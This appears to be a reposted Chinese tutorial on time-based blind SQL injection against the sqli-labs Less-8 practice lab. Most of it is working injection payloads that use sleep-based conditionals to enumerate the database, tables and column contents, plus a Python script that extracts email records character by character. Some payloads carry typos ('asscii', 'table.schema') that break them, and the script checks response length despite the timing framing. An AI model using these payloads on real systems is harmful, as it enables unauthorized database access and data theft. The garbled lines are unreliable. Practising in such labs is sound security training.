?id=1‘ and if(ascii(substr(database(),1,1))>9,sleep(6),1)%23 //在MySQL中有两种注释方法”#“和”--+“,采用if语句判断数据库名的长度,如果数据库长度大于9,则延迟6秒传输
?id=1‘ and if(asscii(substr((select table_name from information_schema.tables where table.schema=database() limit 0 ,1),1,1))=‘&a&‘ ,sleep(6),1)--+
//limit 0,1的0表示从第一条数据开始,1表示只向下记录1条数据
如果数据库名等于’&a&‘,则延迟6秒传输
注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1.......
?id=1‘ and if(asscii(substr((select table_name from information_schema.tables where table.name=‘test‘ limit 0 ,1),1,1))=‘&a&‘ ,sleep(6),1)--+
注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1......
?id=1‘ and (select count(*) from test)>0 --+
?id=1‘ and (select length(username) from test limit 0,1)>15 --+
def get_data():
result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2‘ and if(ascii(substr((select email_id from emails limit 0,1),{0},1))>{1},sleep(6),1) %23" chars = ‘.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz‘ for i in range(1,17): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的长度只有706和722 if length>706: result += char break print(result)注:%23是#的在http中的网址URL编码,在拿出第一个字符后,修改上面的limit 0,1,改为limit 1,1查找第二个字符,依次轮循。
最后,我觉得最好的有关事件盲注的文章https://www.cdxy.me/?p=789,这篇文章讲解了有关时间盲注的5种方法,包括自己写的poc。
原文:https://www.cnblogs.com/ayheng/p/15196370.html